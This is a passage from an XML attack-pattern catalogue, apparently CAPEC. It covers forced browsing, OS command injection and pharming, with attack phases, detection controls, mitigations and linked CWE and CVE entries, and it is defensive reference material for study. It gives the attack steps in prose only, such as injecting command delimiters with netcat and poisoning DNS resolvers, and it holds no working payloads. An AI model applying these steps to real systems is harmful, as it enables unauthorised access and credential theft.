												pages or scripts that do not actually have any use
												in the application, and name them common names
												(e.g., admin.jsp, admin.do, admin.aspx, etc.).
												Alert when one of these resources is
												requested.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating an
												unusual amount of
												failures.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Corrective">
												<Security_Control_Description>Obtain a list of
												sensitive areas that should not be directly
												accessible (e.g., JSPs or other templates that
												should only be accessible via front controllers).
												Apply an external mechanism (rule in the load
												balancer, rule in the reverse proxy, etc.) to
												intercept and redirect requests for those
												resources. Ideally use patterns, not specific page
												names (e.g., /jsp/* instead of a list of
												individual JSPs). Regularly update the list that
												is used in
												operation.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Detective">
												<Security_Control_Description>Identify defaults for
												platform-specific sensitive resources. If the
												application does not use those defaults, alert on
												all requests for them (e.g.,
												http://server:8080/admin/)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Use unauthorized
											resources</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By visiting the unprotected resource, the attacker
												makes use of unauthorized functionality.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Access unprotected functions and execute
												them.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Malformed log entries
												are a common side-effect of this kind of attack.
												E.g., "User xyz deleted by on 10/16/07." The "by
												on" indicates that no authorized user was
												recorded. (A good entry would say "user xyz
												deleted by admin on 10/16/07"). Monitoring of log
												file entries for correct and consistent output
												format can indicate this kind of attack
												succeeding.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>View unauthorized
											data</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker discovers and views unprotected
												sensitive data.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Direct request of protected pages that
												directly access database back-ends. (e.g.,
												list.jsp, accounts.jsp, status.jsp, etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Dynamic pages (JSP, ASP, PHP, etc.) exist
												that divulge sensitive data without first checking
												authorization.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The forcibly browsable pages or accessible resources must be discoverable
						and improperly protected.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation>
					<Text>A number of automated crawlers as well as other tools are available that
						generally perform a good job at looking for forcefully browsable
						pages</Text>
				</Explanation>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A bulletin board application provides an administrative interface at
							admin.aspx when the user logging in belongs to the administrators
							group.</Text>
						<Text>An attacker can access the admin.aspx interface by making a direct
							request to the page. Not having access to the interface appropriately
							protected allows the attacker to perform admnistrative functions without
							having to authenticate himself in that role.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Forcibly browsable pages can be discovered by using a number of
							automated tools. Doing the same manually is tedious but by no means
							difficult</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>A directory listing is helpful but not a requirement. No special resources are
					required.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Following all the links recursively reveals resources that are
							available</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Having a directory listing also points to the available pages and
							resources in the application that may be forcibly browsable.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Authenticate request to every resource. In addition, every page or
						resource must ensure that the request it is handling has been made in an
						authorized context.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Forceful browsing can also be made difficult to a large extent by not
						hard-coding names of application pages or resources. This way, the attacker
						cannot figure out, from the application alone, the resources available from
						the present context.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>425<!--Direct Request ('Forced Browsing')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2007-1156</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>JBrowser allows remote attackers to bypass authentication and access
							certain administrative capabilities via a direct request for
							_admin/.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2007-1062</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The Cisco Unified IP Conference Station 7935 3.2(15) and earlier, and
							Station 7936 3.3(12) and earlier does not properly handle administrator
							HTTP sessions, which allows remote attackers to bypass authentication
							controls via a direct URL request to the administrative HTTP interface
							for a limited time</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>367<!--WASC Threat Classification 2.0 - WASC-34 - Predictable Resource Location--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Treat the Entire Inherited Process Context as Unvalidated Input</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B. Chhaya</Submitter>
						<Submission_Date>2007-03-13</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="88" Name="OS Command Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker can leverage OS command injection in an application to elevate
						privileges, execute arbitrary commands and compromise the underlying
						operating system.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify inputs for OS
											commands</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker determines user controllable input
												that gets passed as part of a command to the
												underlying operating system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Port mapping. Identify ports that the system
												is listening on, and attempt to identify inputs
												and protocol types on those ports.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-CommProtocol
												env-Peer2Peer env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>TCP/IP Fingerprinting. The attacker uses
												various software to make connections or partial
												connections and observe idiosyncratic responses
												from the operating system. Using those responses,
												he attempts to guess the actual operating
												system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-ClientServer
												env-Peer2Peer env-CommProtocol
												env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Induce errors to find informative error
												messages</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The target software accepts connections via
												the network.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol env-Peer2Peer
												env-Embedded env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Operating environment
												(operating system, language, and/or middleware) is
												correctly identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Multiple candidate operating
												environments are suggested.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Provide misleading
												information on TCIP/IP fingerprints (some
												operating systems can be configured to send
												signatures that match other operating
												systems).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Provide misleading
												information at the server level (e.g., Apache,
												IIS, WebLogic, etc.) to announce a different
												server software.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Detective">
												<Security_Control_Description>Some fingerprinting
												techniques can be detected by operating systems or
												by network IDS systems because they leave the
												network connection half-open, or they do not
												belong to a valid, open
												connection.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the
											Application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker surveys the target application,
												possibly as a valid and authenticated user</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spidering web sites for all available
												links</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Inventory all application inputs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Attacker develops a list of valid
												inputs</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker develops a list of
												likely command delimiters.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Detective">
												<Security_Control_Description>Monitor velocity of
												feature activations (non-web software). Humans who
												activate features (click buttons, request actions,
												invoke APIs, etc.) will do so far slower and far
												less regularly than tools. Tools make requests
												very quickly and the requests are typically spaced
												apart regularly (e.g. 0.8 seconds between
												them).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Vary inputs, looking for malicious
											results.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Depending on whether the application being
												exploited is a remote or local one the attacker
												crafts the appropriate malicious input, containing
												OS commands, to be passed to the application</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Inject command delimiters using network
												packet injection tools (netcat, nemesis,
												etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-Web env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Inject command delimiters using web test
												frameworks (proxies, TamperData, custom programs,
												etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inventorying in prior step is
												successful.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>One or more injections that are
												appropriate to the platform provokes an unexpected
												response from the software, which can be varied by
												the attacker based on the
												input.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Execute malicious
											commands</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker may steal information, install a back
												door access mechanism, elevate privileges or
												compromise the system in some other way.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker executes a command that stores
												sensitive information into a location where he can
												retrieve it later (perhaps using a different
												command injection).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker executes a command that stores
												sensitive information into a location where he can
												retrieve it later (perhaps using a different
												command injection).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>The attacker executes a command that stores
												sensitive information into a location where he can
												retrieve it later (perhaps using a different
												command injection).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The software performs an action
												the attacker desires. This might be displaying
												information, storing a program, executing a
												command, or some other malicious
												activity.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Make commonly
												exploited administrative tools log their
												execution.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Make commonly
												exploited administrative tools non-executable,
												except when the system is in specific maintenance
												periods. (i.e., require administrators to
												specifically enable certain administrative
												commands prior to performing system
												maintenance.)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>User controllable input used as part of commands to the underlying
						operating system.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation>
					<Text>There is high motivation for the attacker to seek out and discover
						opportunities for this attack due to the power it yields.</Text>
				</Explanation>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A transaction processing system relies on code written in a number of
							languages. To access this functionality, the system passes transaction
							information on the system command line.</Text>
						<Text>An attacker can gain access to the system command line and execute
							malicious commands by injecting these commands in the transaction data.
							If successful, the attacker can steal information, install backdoors and
							perform other nefarious activities that can compromise the system and
							its data.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>A vulnerability in Mozilla Firefox 1.x browser allows an attacker
								to execute arbitrary commands on the UNIX/Linux operating
								system.</Text>
							<Text>The vulnerability is caused due to the shell script used to launch
								Firefox parsing shell commands that are enclosed within backticks in
								the URL provided via the command line.</Text>
							<Text>This can be exploited to execute arbitrary shell commands by
								tricking a user into following a malicious link in an external
								application which uses Firefox as the default browser (e.g. the mail
								client Evolution on Red Hat Enterprise Linux 4).</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to have knowledge of not only the application to
							exploit but also the exact nature of commands that pertain to the target
							operating system. This may involve, though not always, knowledge of
							specific assembly commands for the platform.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use language APIs rather than relying on passing data to the oeprating
						system shell or command line. Doing so ensures that the available protection
						mechanisms in the language are intact and applicable.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Filter all incoming data to escape or remove characters or strings that
						can be potentially misinterpreted as operating system or shell
						commands</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>All application processes should be run with the minimal privileges
						required. Also, processes must shed privileges as soon as they no longer
						require them.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input used as part of operating system commands</Text>
			</Injection_Vector>
			<Payload>
				<Text>Operating system commands injected by the attacker, intended to escalate
					privilege or divulge information</Text>
			</Payload>
			<Activation_Zone>
				<Text>Underlying operating system hosting the exploited application.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The injected OS commands are interpreted by the shell, causing them to be
						executed under the privileges of the process running the exploited
						application.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>78<!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>88<!--Argument Injection or Modification--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>15<!--Command Delimiters--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>364<!--WASC Threat Classification 2.0 - WASC-31 - OS Commanding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Unvalidated Input as Part of a Directive to any Internal
						Component</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>Secunia Advisory SA16869: Firefox Command Line URL Shell Command
							Injection</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B. Chhaya</Submitter>
						<Submission_Date>2007-03-16</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="89" Name="Pharming" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>A pharming attack occurs when the victim is fooled into entering sensitive
						data into supposedly trusted locations, such as an online bank site or a
						trading platform. An attacker can impersonate these supposedly trusted sites
						and have the victim be directed to his site rather than the originally
						intended one.</Text>
					<Text>Pharming does not require script injection or clicking on malicious links
						for the attack to succeed.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Attacker sets up a system mocking the one trusted
												by the users. This is usually a website that
												requires or handles sensitive information.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker then poisons the resolver for the
												targeted site. This is achieved by poisoning the DNS
												server, or the local hosts file, that directs the
												user to the original website</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>When the victim requests the URL for the site, the
												poisoned records direct the victim to the attacker's
												system rather than the original one.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Because of the identical nature of the original
												site and the attacker controlled one, and the fact
												that the URL is still the original one, the victim
												trusts the website reached and the attacker can now
												"farm" sensitive information such as credentials or
												account numbers.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Vulnerable DNS software or improperly protected hosts file or router that
						can be poisoned</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>A website that handles sensitive information but does not use a secure
						connection and a certificate that is valid is also prone to pharming</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood> High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An online bank website requires users to provide their customer ID and
							password to log on, but does not use a secure connection.</Text>
						<Text>An attacker can setup a similar fake site and leverage pharming to
							collect this information from unknowing victims.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to be able to poison the resolver - DNS entries or
							local hosts file or router entry pointing to a trusted DNS server - in
							order to successfully carry out a pharming attack. Setting up a fake
							website, identical to the targeted one, does not require special
							skills.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
